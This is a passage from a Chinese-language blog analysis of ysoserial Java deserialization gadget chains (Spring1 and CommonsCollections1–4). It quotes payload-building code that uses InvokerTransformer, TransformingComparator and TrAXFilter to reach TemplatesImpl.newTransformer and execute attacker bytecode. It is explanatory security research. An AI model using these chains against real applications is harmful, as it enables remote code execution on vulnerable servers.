<div id="w-wltxah-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
</div></div></p>
<p>在執行ReflectionUtils.invokeMethod(method, this.provider.getType())語句時,整個執行流程以下:</p>
<pre class="brush:java;">#!javaReflectionUtils.invokeMethod()    Method.invoke(typeTemplatesProxy對象)        //Method爲Templates(Proxy).newTransformer()</pre>
<p>這是明顯的一部分調用,在執行Templates(Proxy).newTransformer()時,會有餘下過程發生:</p>
<pre class="brush:java;">#!java        typeTemplatesProxy對象.invoke()     method.invoke(objectFactoryProxy對象.getObject(), args);        objectFactoryProxy對象.getObject()            AnnotationInvocationHandler.invoke()                HashMap.get("getObject")//返回templates對象        Method.invoke(templates對象,args)        TemplatesImpl.newTransformer()        .......//觸發加載含有惡意java字節碼的操做</pre>
<p>這裏面是對象之間的調用,還有動態代理機制,容易繞暈,就說到這裏。有興趣能夠單步調試看看。</p>
<p>我的總結:</p>
Spring1爲了強行代理Type接口,進行對象賦值。運用了多個動態代理機制實現,仍是很巧妙的。 5. CommonsCollections
<p>對CommonsCollections類,ysoserial工具中存在四種利用方法。所用的方法都是與上面幾個payload相似。</p>
CommonsCollections1天然是使用了LazyMap和動態代理機制進行觸發調用Transformer執行鏈,請參考連接2。
<p>CommonsCollections2和CommonsBeanutilsCollectionsLogging1同樣也使用了比較器去觸發TemplatesImpl的newTransformer方法執行命令。<br>
這裏用到的比較器爲TransformingComparator,直接看其compare方法:</p>
<pre class="brush:java;">#!javapublic int compare(final I obj1, final I obj2) {    final O value1 = this.transformer.transform(obj1);    final O value2 = this.transformer.transform(obj2);    return this.decorated.compare(value1, value2);}</pre>
<p>很直接調用了transformer.transform(obj1),這裏的obj1就是payload中的templates對象。<br>
主要代碼爲:</p>
<pre class="brush:java;">#!java// mock method name until armedfinal InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2,new TransformingComparator(transformer));     .........// switch method called by comparatorReflections.setFieldValue(transformer, "iMethodName", "newTransformer");//使用反射機制改變私有變量~ 否則,會在以前就執行命令,沒法生成序列化數據。//反序列化時,會調用TemplatesImpl的newTransformer方法。</object></object></pre>
<p>根據熟悉的InvokerTransformer做用,最終會調用templates.newTransformer()執行惡意java代碼。</p>
<p>CommonsCollections3是CommonsCollections1的變種,將執行鏈換了下:</p>
<pre class="brush:java;">#!javaTemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);.............// real chain for after setupfinal Transformer[] transformers = new Transformer[] {        new ConstantTransformer(TrAXFilter.class),        new InstantiateTransformer(                new Class[] { Templates.class },                new Object[] { templatesImpl } )};  </pre>
<p>查看InstantiateTransformer的transform方法,能夠看到關鍵代碼:</p>
<pre class="brush:java;">#!javaConstructor con = ((Class) input).getConstructor(iParamTypes);  //input爲TrAXFilter.classreturn con.newInstance(iArgs);</pre>
<p>即:transformer執行鏈會執行new TrAXFilter(templatesImpl)。正好,TrAXFilter類構造函數中調用了templates.newTransformer()方法。都是套路啊。</p>
<pre class="brush:java;">#!javapublic TrAXFilter(Templates templates)  throws TransformerConfigurationException{    _templates = templates;    _transformer = (TransformerImpl) templates.newTransformer();//觸發執行命令    _transformerHandler = new TransformerHandlerImpl(_transformer);    _useServicesMechanism = _transformer.useServicesMechnism();}</pre>
<p>CommonsCollections4是CommonsCollections2的變種。一樣使用InstantiateTransformer觸發templates.newTransformer()代替了以前的執行鏈。</p>
<pre class="brush:java;">#!javaTemplatesImpl templates = Gadgets.createTemplatesImpl(command);...............// grab defensively copied arraysparamTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");..............// swap in values to armReflections.setFieldValue(constant, "iConstant", TrAXFilter.class);paramTypes[0] = Templates.class;args[0] = templates;...................</pre>
<p>照例生成PriorityQueue<object>queue後,使用反射機制對其屬性進行修改。保證成功生成payload。</object></p>
<p>我的總結:payload分析完了,裏面涉及的方法很巧妙。也有許多共同的利用特性,值得學習~~</p>
</string,></k,v></size;>
相關文章
相關標籤/搜索